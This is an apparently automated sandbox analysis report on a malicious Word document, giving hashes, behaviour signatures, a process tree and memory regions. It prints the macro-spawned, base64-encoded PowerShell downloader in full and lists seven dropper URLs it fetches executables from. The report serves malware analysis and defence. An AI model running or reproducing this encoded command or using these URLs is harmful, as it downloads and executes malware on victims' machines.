Analysis

  • max time kernel
    145s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12/05/2024, 02:37

General

  • Target

    37cee5d316e441ddc564b26d06da7b77_JaffaCakes118.doc

  • Size

    179KB

  • MD5

    37cee5d316e441ddc564b26d06da7b77

  • SHA1

    8532d10c8963ced90180ea034538b49d081710d5

  • SHA256

    33099cd71cd92838445b2b6beaab0d5f29220c7866510e1a83dd32c0779c91a8

  • SHA512

    41f6ca485ebb8a93399fe5e2718ca53461926d3779a4090a7bf73178c978288b3b175e77c9560dac59ffb3627668b41db750f758a183f00be37c6ccca408cbc4

  • SSDEEP

    1536:uasrbYasrb2rdi1Ir77zOH98Wj2gpng9+a9MSGIRK9b/WYjd2LO6h/QC27THvo:crfrzOH98ipgUSGYK9TngLOm27THvo

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://sasystemsuk.com/index_files/j9b/

exe.dropper

https://case.gonukkad.com/sys-cache/fmC/

exe.dropper

http://vandamebuilders.com/wp-includes/OEyjc9x/

exe.dropper

https://nilinkeji.com/online/Dmz/

exe.dropper

http://paganwitch.com/wp-admin/CmubpSk/

exe.dropper

http://www.ekramco.ir/english/fn/

exe.dropper

http://votesteve.us/closed_zone/Bk/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\37cee5d316e441ddc564b26d06da7b77_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3724
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -en JABRAGcAbgB1AHoAawBxAD0AKAAnAFkAJwArACcAMgAnACsAKAAnAHIAdQBqAGUAJwArACcAYQAnACkAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBzAEUAUgBQAFIATwBGAEkATABlAFwASgBIAEEAaQBOAEcARwBcAGUANwBwAFoANQBfAFcAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBDAFQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBgAEMAYABVAGAAUgBJAHQAYAB5AHAAUgBvAFQAbwBjAG8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAMgAsACcAKQArACgAJwAgAHQAJwArACcAbABzADEAMQAnACkAKwAnACwAIAAnACsAJwB0AGwAJwArACcAcwAnACkAOwAkAEUANQBuADkAMQBzAGoAIAA9ACAAKAAoACcAVAAnACsAJwAxADQAJwApACsAJwBnAG4AJwArACcAMAAnACkAOwAkAFkAeQA5AGoAeAAyAHkAPQAoACgAJwBFAGkAJwArACcAdQAnACkAKwAnAGsAdAAnACsAJwBlADEAJwApADsAJABDADYAcABxAHMAZwBuAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHsAJwArACcAMAB9AEoAaAAnACsAKAAnAGEAJwArACcAaQBuAGcAJwApACsAJwBnAHsAMAB9AEUANwAnACsAJwBwAHoANQBfAHcAewAwAH0AJwApACAALQBmACAAWwBDAGgAYQBSAF0AOQAyACkAKwAkAEUANQBuADkAMQBzAGoAKwAoACgAJwAuAGUAJwArACcAeAAnACkAKwAnAGUAJwApADsAJABDADMANQBrAHcAMQB4AD0AKAAnAEIAJwArACgAJwA2AG4AJwArACcAOQAnACkAKwAoACcAZAAnACsAJwBnAHEAJwApACkAOwAkAEYANgBuAHIAbwBlADEAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQBUAC4AVwBFAEIAQwBMAGkAZQBuAFQAOwAkAEoAbABtAHgAbgB4AGMAPQAoACgAJwBoAHQAdAAnACsAJwBwADoAJwArACcALwAvACcAKQArACgAJwBzAGEAJwArACcAcwB5ACcAKQArACcAcwB0ACcAKwAoACcAZQBtACcAKwAnAHMAdQBrACcAKQArACgAJwAuAGMAJwArACcAbwBtACcAKQArACgAJwAvAGkAbgBkACcAKwAnAGUAJwArACcAeAAnACkAKwAoACcAXwBmACcAKwAnAGkAbABlACcAKQArACgAJwBzAC8AJwArACcAagAnACkAKwAnADkAJwArACgAJwBiAC8AKgBoACcAKwAnAHQAdAAnACkAKwAnAHAAJwArACgAJwBzACcAKwAnADoALwAvACcAKQArACgAJwBjAGEAJwArACcAcwAnACsAJwBlAC4AZwBvACcAKQArACcAbgAnACsAJwB1ACcAKwAoACcAawBrAGEAZAAuAGMAJwArACcAbwAnACsAJwBtACcAKQArACcALwAnACsAKAAnAHMAJwArACcAeQBzACcAKQArACgAJwAtACcAKwAnAGMAYQAnACkAKwAnAGMAaAAnACsAKAAnAGUALwBmAG0AQwAvACcAKwAnACoAaAAnACkAKwAnAHQAJwArACgAJwB0ACcAKwAnAHAAOgAnACkAKwAnAC8AJwArACgAJwAvAHYAJwArACcAYQAnACkAKwAoACcAbgAnACsAJwBkAGEAJwApACsAKAAnAG0AJwArACcAZQBiAHUAJwApACsAJwBpACcAKwAnAGwAZAAnACsAKAAnAGUAJwArACcAcgBzACcAKQArACgAJwAuAGMAJwArACcAbwBtAC8AdwBwACcAKQArACcALQAnACsAJwBpACcAKwAoACcAbgBjAGwAdQAnACsAJwBkAGUAcwAvACcAKwAnAE8AJwApACsAJwBFAHkAJwArACcAagBjACcAKwAoACcAOQB4AC8AJwArACcAKgAnACkAKwAnAGgAdAAnACsAKAAnAHQAcABzADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwBuAGkAbAAnACsAJwBpAG4AJwApACsAJwBrAGUAJwArACcAagAnACsAKAAnAGkAJwArACcALgBjAG8AbQAnACkAKwAoACcALwBvACcAKwAnAG4AbABpACcAKwAnAG4AZQAvACcAKQArACcARABtACcAKwAoACcAegAvACoAJwArACcAaAB0AHQAJwApACsAKAAnAHAAOgAvAC8AJwArACcAcABhACcAKQArACgAJwBnAGEAJwArACcAbgB3AGkAJwApACsAKAAnAHQAYwAnACsAJwBoAC4AJwApACsAKAAnAGMAbwBtAC8AdwAnACsAJwBwAC0AYQAnACkAKwAnAGQAJwArACcAbQBpACcAKwAoACcAbgAnACsAJwAvAEMAbQB1AGIAcABTACcAKwAnAGsAJwApACsAJwAvACcAKwAnACoAaAAnACsAJwB0AHQAJwArACcAcAA6ACcAKwAoACcALwAnACsAJwAvAHcAdwAnACsAJwB3AC4AZQBrACcAKQArACgAJwByACcAKwAnAGEAbQBjACcAKQArACcAbwAnACsAJwAuACcAKwAnAGkAcgAnACsAJwAvAGUAJwArACgAJwBuAGcAbAAnACsAJwBpAHMAaAAnACsAJwAvACcAKwAnAGYAbgAvACoAJwArACcAaAB0AHQAcAAnACkAKwAnADoALwAnACsAJwAvACcAKwAoACcAdgAnACsAJwBvAHQAZQBzAHQAJwApACsAKAAnAGUAJwArACcAdgBlAC4AdQBzAC8AJwApACsAKAAnAGMAJwArACcAbABvAHMAZQAnACkAKwAoACcAZAAnACsAJwBfAHoAbwAnACkAKwAoACcAbgBlAC8AJwArACcAQgAnACkAKwAnAGsALwAnACkALgAiAFMAcABMAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUwBuAHAAOAAyAGEANAA9ACgAKAAnAEgAXwAnACsAJwBrACcAKQArACcAbAAxACcAKwAnADUAcgAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABOAGIAcgBnAG8AbwBoACAAaQBuACAAJABKAGwAbQB4AG4AeABjACkAewB0AHIAeQB7ACQARgA2AG4AcgBvAGUAMQAuACIAZABPAFcAbgBMAE8AQQBEAEYAYABpAGAAbABFACIAKAAkAE4AYgByAGcAbwBvAGgALAAgACQAQwA2AHAAcQBzAGcAbgApADsAJABCAHkAMQBvAHUAegBoAD0AKAAoACcAQQAyACcAKwAnAGkAJwApACsAKAAnADQAJwArACcAbgAxACcAKQArACcAeQAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQAQwA2AHAAcQBzAGcAbgApAC4AIgBMAEUAbgBgAEcAVABIACIAIAAtAGcAZQAgADIAMAAxADkAMwApACAAewAmACgAJwBJACcAKwAnAG4AdgBvAGsAZQAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACgAJABDADYAcABxAHMAZwBuACkAOwAkAEQAdwBnADEANABsAGMAPQAoACgAJwBKAF8AJwArACcAdwBxACcAKQArACcAbABzACcAKwAnAGgAJwApADsAYgByAGUAYQBrADsAJABMADcAcQByAGIANwBhAD0AKAAnAEYANwAnACsAJwBhADQAJwArACgAJwBhACcAKwAnAGMAdgAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASAB0AHcAaQBsAGgAagA9ACgAKAAnAFEAcQBnACcAKwAnADEAJwApACsAKAAnAHYAMwAnACsAJwAxACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4480

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bapckax3.0vv.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851227[[fn=sist02]].xsl

          Filesize

          245KB

          MD5

          f883b260a8d67082ea895c14bf56dd56

          SHA1

          7954565c1f243d46ad3b1e2f1baf3281451fc14b

          SHA256

          ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

          SHA512

          d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

        • memory/3724-10-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3724-4-0x00007FFCE6E30000-0x00007FFCE6E40000-memory.dmp

          Filesize

          64KB

        • memory/3724-0-0x00007FFCE6E30000-0x00007FFCE6E40000-memory.dmp

          Filesize

          64KB

        • memory/3724-5-0x00007FFD26E4D000-0x00007FFD26E4E000-memory.dmp

          Filesize

          4KB

        • memory/3724-6-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3724-7-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3724-9-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3724-2-0x00007FFCE6E30000-0x00007FFCE6E40000-memory.dmp

          Filesize

          64KB

        • memory/3724-8-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3724-13-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3724-12-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3724-11-0x00007FFCE46E0000-0x00007FFCE46F0000-memory.dmp

          Filesize

          64KB

        • memory/3724-14-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3724-16-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3724-18-0x00007FFCE46E0000-0x00007FFCE46F0000-memory.dmp

          Filesize

          64KB

        • memory/3724-17-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3724-21-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3724-15-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3724-565-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3724-19-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3724-33-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3724-34-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3724-595-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3724-591-0x00007FFCE6E30000-0x00007FFCE6E40000-memory.dmp

          Filesize

          64KB

        • memory/3724-1-0x00007FFCE6E30000-0x00007FFCE6E40000-memory.dmp

          Filesize

          64KB

        • memory/3724-3-0x00007FFCE6E30000-0x00007FFCE6E40000-memory.dmp

          Filesize

          64KB

        • memory/3724-563-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3724-564-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3724-20-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

          Filesize

          2.0MB

        • memory/3724-592-0x00007FFCE6E30000-0x00007FFCE6E40000-memory.dmp

          Filesize

          64KB

        • memory/3724-593-0x00007FFCE6E30000-0x00007FFCE6E40000-memory.dmp

          Filesize

          64KB

        • memory/3724-594-0x00007FFCE6E30000-0x00007FFCE6E40000-memory.dmp

          Filesize

          64KB

        • memory/4480-572-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

          Filesize

          2.0MB

        • memory/4480-566-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

          Filesize

          2.0MB

        • memory/4480-74-0x0000022D593F0000-0x0000022D59412000-memory.dmp

          Filesize

          136KB

        • memory/4480-73-0x00007FFD26DB0000-0x00007FFD26FA5000-memory.dmp

          Filesize

          2.0MB